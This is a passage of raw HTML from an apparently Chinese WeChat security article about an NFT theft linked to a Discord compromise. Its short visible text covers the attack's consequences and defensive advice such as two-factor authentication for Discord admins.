style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">通过解码交易数据能够更直观的分析交易详情：</span></p><p><span style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><br/></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.12794117647058822" data-s="300,640" style="" data-type="png" data-w="2720" src="https://wechat2rss.xlab.app/img-proxy/?k=8e9b1ace&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpo9qny0ZVUEYj72iaVRflEEia2hf3goQzMibjoQZHBbLex6FD45ZhSWjZjvYEf6teBAn8bQibL16tFY0Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">攻击后果：</strong></strong></span></strong></strong></span></p><p><br/></p><p style=""><strong><span style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">攻击者账户中囤积了大量地板价超过 0.2ETH 的 NFT 资产</span></strong></p><p><span style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong></strong></span></strong></strong></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.41879194630872485" data-s="300,640" style="" data-type="png" data-w="2980" src="https://wechat2rss.xlab.app/img-proxy/?k=1002205c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpo9qny0ZVUEYj72iaVRflEEiabvFULz5WamV6KBSEfm84S1RDumH5s4khpYnQibYAtSNslLqttGWvq5g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5488338192419825" data-s="300,640" style="" data-type="png" data-w="2744" src="https://wechat2rss.xlab.app/img-proxy/?k=b0143e8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpo9qny0ZVUEYj72iaVRflEEia6WKEybbv99mHpicp4IawnfTChltHDThRajmBqlN7wl29HCnepqT1soA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: left;margin-bottom: 0em;"><br/></p><p style="text-align: left;margin-bottom: 0em;"><strong style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></strong></strong></span></strong></strong></p><p style="text-align: left;margin-bottom: 0em;"><strong style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">安全建议：</strong></strong></span></strong></strong></p><p style="text-align: left;margin-bottom: 0em;"><strong style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">1. Discord 管理员需开启双因子认证机制。</span></strong></strong></span></strong></strong></p><p style="text-align: left;margin-bottom: 0em;"><strong style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">2. 认清官方网站，避免点击不明链接，在遇到问题时，找其他人核实和对证，一定程度能规避这一风险。</span></strong></strong></span></strong></strong></p><p style="text-align: left;margin-bottom: 0em;"><strong style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 